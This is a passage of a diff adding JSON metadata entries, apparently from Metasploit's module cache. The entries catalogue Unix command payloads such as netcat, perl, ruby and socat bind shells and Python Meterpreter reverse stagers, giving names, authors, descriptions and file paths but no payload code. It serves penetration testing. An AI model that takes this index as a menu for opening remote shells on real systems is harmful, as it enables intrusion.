+ "is_install_path": true, + "ref_name": "cmd/unix/bind_netcat", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_netcat_gaping": { + "name": "Unix Command Shell, Bind TCP (via netcat -e)", + "fullname": "payload/cmd/unix/bind_netcat_gaping", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Listen for a connection and spawn a command shell via netcat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_netcat_gaping", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_netcat_gaping_ipv6": { + "name": "Unix Command Shell, Bind TCP (via netcat -e) IPv6", + "fullname": "payload/cmd/unix/bind_netcat_gaping_ipv6", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Listen for a connection and spawn a command shell via netcat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_netcat_gaping_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_nodejs": { + "name": "Unix Command Shell, Bind TCP (via nodejs)", + "fullname": "payload/cmd/unix/bind_nodejs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "joev " + ], + "description": "Continually listen for a connection and spawn a command shell via nodejs", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_nodejs.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_nodejs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_perl": { + "name": "Unix Command Shell, Bind TCP (via Perl)", + "fullname": "payload/cmd/unix/bind_perl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Samy ", + "cazz " + ], + "description": "Listen for a connection and spawn a command shell via perl", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_perl.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_perl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_perl_ipv6": { + "name": "Unix Command Shell, Bind TCP (via perl) IPv6", + "fullname": "payload/cmd/unix/bind_perl_ipv6", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Samy ", + "cazz " + ], + "description": "Listen for a connection and spawn a command shell via perl", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_perl_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_r": { + "name": "Unix Command Shell, Bind TCP (via R)", + "fullname": "payload/cmd/unix/bind_r", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Continually listen for a connection and spawn a command shell via R", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_r.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_r", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_ruby": { + "name": "Unix Command Shell, Bind TCP (via Ruby)", + "fullname": "payload/cmd/unix/bind_ruby", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "kris katterjohn " + ], + "description": "Continually listen for a connection and spawn a command shell via Ruby", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_ruby.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_ruby", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_ruby_ipv6": { + "name": "Unix Command Shell, Bind TCP (via Ruby) IPv6", + "fullname": "payload/cmd/unix/bind_ruby_ipv6", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "kris katterjohn " + ], + "description": "Continually listen for a connection and spawn a command shell via Ruby", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_ruby_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_socat_sctp": { + "name": "Unix Command Shell, Bind SCTP (via socat)", + "fullname": "payload/cmd/unix/bind_socat_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via socat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-04-27 16:21:34 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_socat_sctp.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_socat_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_socat_udp": { + "name": "Unix Command Shell, Bind UDP (via socat)", + "fullname": "payload/cmd/unix/bind_socat_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "RageLtMan " + ], + "description": "Creates an interactive shell via socat", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_socat_udp.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_socat_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_stub": { + "name": "Unix Command Shell, Bind TCP (stub)", + "fullname": "payload/cmd/unix/bind_stub", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Listen for a connection and spawn a command shell (stub only, no payload)", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_stub.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_stub", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/bind_zsh": { + "name": "Unix Command Shell, Bind TCP (via Zsh)", + "fullname": "payload/cmd/unix/bind_zsh", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Doug Prostko ", + "Wang Yihang " + ], + "description": "Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is\n often available, please be aware it isn't usually installed by default.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/bind_zsh.rb", + "is_install_path": true, + "ref_name": "cmd/unix/bind_zsh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/generic": { + "name": "Unix Command, Generic Command Execution", + "fullname": "payload/cmd/unix/generic", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Executes the supplied command", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/unix/generic.rb", + "is_install_path": true, + "ref_name": "cmd/unix/generic", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/interact": { + "name": "Unix Command, Interact with Established Connection", + "fullname": "payload/cmd/unix/interact", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm " + ], + "description": "Interacts with a shell on an established socket connection", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2021-01-05 14:59:46 +0000", + "path": "/modules/payloads/singles/cmd/unix/interact.rb", + "is_install_path": true, + "ref_name": "cmd/unix/interact", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/pingback_bind": { + "name": "Unix Command Shell, Pingback Bind TCP (via netcat)", + "fullname": "payload/cmd/unix/pingback_bind", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "asoto-r7" + ], + "description": "Accept a connection, send a UUID, then exit", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/pingback_bind.rb", + "is_install_path": true, + "ref_name": "cmd/unix/pingback_bind", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/pingback_reverse": { + "name": "Unix Command Shell, Pingback Reverse TCP (via netcat)", + "fullname": "payload/cmd/unix/pingback_reverse", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "asoto-r7" + ], + "description": "Creates a socket, send a UUID, then exit", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/pingback_reverse.rb", + "is_install_path": true, + "ref_name": "cmd/unix/pingback_reverse", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/unix/python/meterpreter/bind_tcp": { + "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", + "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp" + }, + "payload_cmd/unix/python/meterpreter/bind_tcp_uuid": { + "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "OJ Reeves" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/bind_tcp_uuid" + }, + "payload_cmd/unix/python/meterpreter/reverse_http": { + "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", + "fullname": "payload/cmd/unix/python/meterpreter/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/reverse_http", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_http" + }, + "payload_cmd/unix/python/meterpreter/reverse_https": { + "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", + "fullname": "payload/cmd/unix/python/meterpreter/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/reverse_https", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_https" + }, + "payload_cmd/unix/python/meterpreter/reverse_tcp": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", + "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp" + }, + "payload_cmd/unix/python/meterpreter/reverse_tcp_ssl": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", + "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "Ben Campbell ", + "RageLtMan" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/reverse_tcp_ssl", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_ssl" + }, + "payload_cmd/unix/python/meterpreter/reverse_tcp_uuid": { + "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "OJ Reeves" + ], + "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "python/meterpreter", + "stager_refname": "python/reverse_tcp_uuid" + }, + "payload_cmd/unix/python/meterpreter_bind_tcp": { + "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", + "fullname": "payload/cmd/unix/python/meterpreter_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter_bind_tcp", + "staged": false + }, + "payload_cmd/unix/python/meterpreter_reverse_http": { + "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", + "fullname": "payload/cmd/unix/python/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter_reverse_http", + "staged": false + }, + "payload_cmd/unix/python/meterpreter_reverse_https": { + "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", + "fullname": "payload/cmd/unix/python/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter_reverse_https", + "staged": false + }, + "payload_cmd/unix/python/meterpreter_reverse_tcp": { + "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", + "fullname": "payload/cmd/unix/python/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre" + ], + "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/meterpreter_reverse_tcp", + "staged": false + }, + "payload_cmd/unix/python/pingback_bind_tcp": { + "name": "Python Exec, Python Pingback, Bind TCP (via python)", + "fullname": "payload/cmd/unix/python/pingback_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "asoto-r7" + ], + "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/pingback_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/pingback_bind_tcp", + "staged": false + }, + "payload_cmd/unix/python/pingback_reverse_tcp": { + "name": "Python Exec, Python Pingback, Reverse TCP (via python)", + "fullname": "payload/cmd/unix/python/pingback_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "asoto-r7" + ], + "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/pingback_reverse_tcp", + "staged": false + }, + "payload_cmd/unix/python/shell_bind_tcp": { + "name": "Python Exec, Command Shell, Bind TCP (via python)", + "fullname": "payload/cmd/unix/python/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "mumbai" + ], + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/shell_bind_tcp", + "staged": false + }, + "payload_cmd/unix/python/shell_reverse_sctp": { + "name": "Python Exec, Command Shell, Reverse SCTP (via python)", + "fullname": "payload/cmd/unix/python/shell_reverse_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/shell_reverse_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/shell_reverse_sctp", + "staged": false + }, + "payload_cmd/unix/python/shell_reverse_tcp": { + "name": "Python Exec, Command Shell, Reverse TCP (via python)", + "fullname": "payload/cmd/unix/python/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "Ben Campbell " + ], + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + "adapted_refname": "python/shell_reverse_tcp", + "staged": false + }, + "payload_cmd/unix/python/shell_reverse_tcp_ssl": { + "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", + "fullname": "payload/cmd/unix/python/shell_reverse_tcp_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "RageLtMan " + ], + "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "is_install_path": true, + "ref_name": "cmd/unix/python/shell_reverse_tcp_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/unix/python", + 